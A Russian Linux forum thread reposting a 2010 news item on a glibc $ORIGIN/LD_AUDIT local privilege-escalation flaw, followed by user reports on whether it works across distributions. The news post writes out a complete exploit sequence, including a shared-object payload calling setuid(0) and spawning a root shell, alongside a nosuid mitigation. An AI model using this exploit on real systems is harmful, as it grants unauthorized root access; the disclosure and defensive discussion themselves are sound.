[ON] В Glibc обнаружена серьезная уязвимость

Обсуждение новостей, соответствующих тематике форума

Модератор: Модераторы разделов

Аватара пользователя
rssbot
Бот
Сообщения: 6001
ОС: gnu/linux

[ON] В Glibc обнаружена серьезная уязвимость

Сообщение rssbot »

В системной библиотеке GNU C Library (glibc), являющейся основой большинства Linux-дистрибутивов, обнаружена критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя. Проблема вызвана игнорированием в Glibc требования спецификации ELF по запрещению использования текущего пути к исполняемому файлу ($ORIGIN) в процессе динамического связывания программ с идентификатором смены владельца или группы (suid/sgid). Проблема проявляется в конфигурациях, в которых пользователь имеет возможность создавать жесткие ссылки в файловой системе, допускающей наличие suid-файлов. Уязвимость протестирована в Fedora 13 и RHEL 5 / CentOS 5, другие дистрибутивы судя по всему также подвержены проблеме. Исправления пока недоступны, статус выхода обновлений в различных Linux-дистрибутивах можно наблюдать на следующих страницах: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL, Debian, Ubuntu. Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно. Используя режим аудита связывания программ (LD_AUDIT) в ld.so, вкупе с подменой $ORIGIN через создание жесткой ссылки и запуском suid-программы через файловый дескриптор, удалось разработать практический метод атаки. Проверить свою систему на наличие уязвимости можно следующим способом:

Shell

Создаем произвольную директорию: $ mkdir /tmp/exploit Привязываем suid-программу жесткой ссылкой в созданную директорию (при выполнении будет изменен $ORIGIN): $ ln /bin/ping /tmp/exploit/target Открываем для исполняемого файла файловый дескриптор: $ exec 3 /tmp/exploit/target* Удаляем ранее созданную директорию $ rm -rf /tmp/exploit/ В /proc дескриптор остался, но теперь помечен как удаленный: $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted) Заменяем директорию на специально созданный эксплоит (имя директории будет открыто через dlopen): $ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D $ gcc -w -fPIC -shared -o /tmp/exploit payload.c $ ls -l /tmp/exploit -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit* Инициируем динамическое связывание и загрузку $ORIGIN через LD_AUDIT и запуск программы по файловому дескриптору в /proc $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 sh-4.1# whoami root sh-4.1# id uid=0(root) gid=500(taviso)

В качестве временной меры защиты рекомендуются перемонтировать все доступные сторонним пользователям на запись директории в режиме nosuid (актуально только если suid-файл и доступная на запись директория присутствуют в одном дисковом разделе, например, /tmp или /home являются частью корневого раздела, так как жесткая ссылка не может быть установлена из одного дискового раздела в другой) :

Shell

# mount -o bind /tmp /tmp # mount -o remount,bind,nosuid /tmp /tmp




Источник: http://www.opennet.ru/opennews/art.shtml?num=28338


оригинал на opennet.ru
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5435
ОС: Gentoo

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение /dev/random »

К слову: hardened gentoo не подвержен, поскольку grsecurity запрещает пользователям создавать хардлинки на чужие файлы.
Спасибо сказали:
Аватара пользователя
Davinel
Сообщения: 481
ОС: Ubuntu

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение Davinel »

nosuid, nodev а иногда и noexec для всего, куда есть запись простому пользователю - это вполне стандартные настройки ^^
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение taaroa »

/dev/random писал(а):
19.10.2010 19:02
К слову: hardened gentoo не подвержен, поскольку grsecurity запрещает пользователям создавать хардлинки на чужие файлы.

...попробовал оба варианта exploit. Ни один не сработал, даже shell не упал.

:wq
Спасибо сказали:
Аватара пользователя
strah
Сообщения: 283
ОС: Freebsd, linux, Solaris.

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение strah »

glibc 2.7.1, debian lenny, эксплоит не работает, хотя /tmp располагается на /(да-да, вот так вот несекурно), и, естественно / смонтирован без nosuid.
/earth: file system full
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5435
ОС: Gentoo

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение /dev/random »

А вообще, сама поддержка ядром SUID-бита - это дикая уязвимость. Привелегированный процесс наследует все свойства, кроме заблокированных явным образом, от непривелегированного. При этом блокировка наследования "опасных" свойств, производящаяся на всех уровнях, включая libc - это установка блокпостов в чистом поле. Обходные пути обнаруживались, обнаруживаются и будут обнаруживаться, пока кому-нибудь не придёт в голову избавиться от этого маразма - SUID.
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение taaroa »

strah писал(а):
19.10.2010 20:18
glibc 2.7.1, debian lenny, эксплоит не работает, хотя /tmp располагается на /(да-да, вот так вот несекурно), и, естественно / смонтирован без nosuid.

...да, забыл это^ дописать, /tmp на одном разделе с /, / смонтирован без nosuid.
:wq
Спасибо сказали:
Аватара пользователя
sash-kan
Администратор
Сообщения: 13939
Статус: oel ngati kameie
ОС: GNU

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение sash-kan »

нигде не работает. просто шелл закрывается. аж жаль.
Писать безграмотно - значит посягать на время людей, к которым мы адресуемся, а потому совершенно недопустимо в правильно организованном обществе. © Щерба Л. В., 1957
при сбоях форума см.блог
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5435
ОС: Gentoo

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение /dev/random »

sash-kan писал(а):
19.10.2010 21:07
нигде не работает. просто шелл закрывается. аж жаль.

А в дебиане разве glibc, а не собственный форк? Проблема именно в glibc.
Спасибо сказали:
Аватара пользователя
strah
Сообщения: 283
ОС: Freebsd, linux, Solaris.

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение strah »

/dev/random писал(а):
19.10.2010 22:01
sash-kan писал(а):
19.10.2010 21:07
нигде не работает. просто шелл закрывается. аж жаль.

А в дебиане разве glibc, а не собственный форк? Проблема именно в glibc.

В debian eglibc. Но судя по комментариям на opennet, в openSUSE и arch эксплоит тоже не работает.
/earth: file system full
Спасибо сказали:
Аватара пользователя
sash-kan
Администратор
Сообщения: 13939
Статус: oel ngati kameie
ОС: GNU

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение sash-kan »

/dev/random писал(а):
19.10.2010 22:01
sash-kan писал(а):
19.10.2010 21:07
нигде не работает. просто шелл закрывается. аж жаль.

А в дебиане разве glibc, а не собственный форк? Проблема именно в glibc.
«нигде» — это на подшефных серверах. а там сплошной зоопарк. в некоторых местах жутко дремучий. тяжёлое наследие.
Писать безграмотно - значит посягать на время людей, к которым мы адресуемся, а потому совершенно недопустимо в правильно организованном обществе. © Щерба Л. В., 1957
при сбоях форума см.блог
Спасибо сказали:
Аватара пользователя
sash-kan
Администратор
Сообщения: 13939
Статус: oel ngati kameie
ОС: GNU

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение sash-kan »

p.s. собственно, ни на одной из проверенных машин переменная $ORIGIN не инициализирована. может быть, тут собака порылась?
Писать безграмотно - значит посягать на время людей, к которым мы адресуемся, а потому совершенно недопустимо в правильно организованном обществе. © Щерба Л. В., 1957
при сбоях форума см.блог
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5435
ОС: Gentoo

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение /dev/random »

sash-kan писал(а):
19.10.2010 22:46
p.s. собственно, ни на одной из проверенных машин переменная $ORIGIN не инициализирована. может быть, тут собака порылась?

Это опечатка, уже исправленная на опеннете. Исправил её и здесь. $ нужно экранировать.
Спасибо сказали:
Аватара пользователя
diesel
Бывший модератор
Сообщения: 5989
ОС: OS X, openSuSE, ROSA, Debian

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение diesel »

/dev/random писал(а):
19.10.2010 19:02
К слову: hardened gentoo не подвержен, поскольку grsecurity запрещает пользователям создавать хардлинки на чужие файлы.

А это фича чего? Ядра, ln, или просто где-то настройки надо изменить?
Спасибо сказали:
NickLion
Сообщения: 3408
Статус: аватар-невидимка
ОС: openSUSE Tumbleweed x86_64

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение NickLion »

openSuSE 11.3 x86_64. /tmp и /home на отдельном томе, пришлось другую папку открыть на запись. Просто шелл упал и всё. :(
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5435
ОС: Gentoo

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение /dev/random »

diesel писал(а):
19.10.2010 23:08
/dev/random писал(а):
19.10.2010 19:02
К слову: hardened gentoo не подвержен, поскольку grsecurity запрещает пользователям создавать хардлинки на чужие файлы.

А это фича чего? Ядра, ln, или просто где-то настройки надо изменить?

Я упомянул grsecurity. Это набор патчей ядра.
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение taaroa »

/dev/random писал(а):
19.10.2010 23:01
sash-kan писал(а):
19.10.2010 22:46
p.s. собственно, ни на одной из проверенных машин переменная $ORIGIN не инициализирована. может быть, тут собака порылась?

Это опечатка, уже исправленная на опеннете. Исправил её и здесь. $ нужно экранировать.

Хм, а мне подумалось (когда пытался это запустить), что это (опечатка) было сделано преднамеренно. Иногда так специально делают, фильтруют скрипткиддисов.
p.s. да, облом случился уже на второй команде (:
:wq
Спасибо сказали:
Аватара пользователя
Davinel
Сообщения: 481
ОС: Ubuntu

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение Davinel »

strah писал(а):
19.10.2010 22:20
В debian eglibc. Но судя по комментариям на opennet, в openSUSE и arch эксплоит тоже не работает.

Угу, подтверждаю, у меня не заработало.
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение drBatty »

проверял на слакваре 13.0:
1) не нашёл файлов что-бы suid и право записи в каталог было. Исправил (испортил точнее)
2) права ping 4711, потому exec 3< ping не сработала Исправил (испортил)
3) эксплоит собрал, запустил. шел падает с непонятной ошибкой...
Завтра следующей займусь...
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
taaroa
Сообщения: 1319

Re: [ON] В Glibc обнаружена серьезная уязвимость

Сообщение taaroa »

('irc') писал(а):<taviso> "I should also mention that in your latest advisory, you said that the umask was inherited. That does not seem to be true on RHEL/CentOS.
<taviso> "
<taviso> wtf
<d-b> comes with paranoia included
<drosenbe> wait, what?
<taviso> i do not have time to teach these noobs basic UNIX
<taviso> after sending me three emails demanding i look at his srpm
<d-b> taviso: you are truely awesome
<tronyx> taviso: lovely
<taviso> d-b: uhh, thanks :-.
<taviso> sorry, was a bit out of context, he was very demanding and rude..then made this statement hehe
<taviso> :)
<taviso> just needed to vent :)
<spender> haha
<spender> tavis
<jono> just tell him he's correct and doesnt need to patch


В соседней теме посвященной этой уязвимости /dev/random предложил использовать udev.
:wq
Спасибо сказали: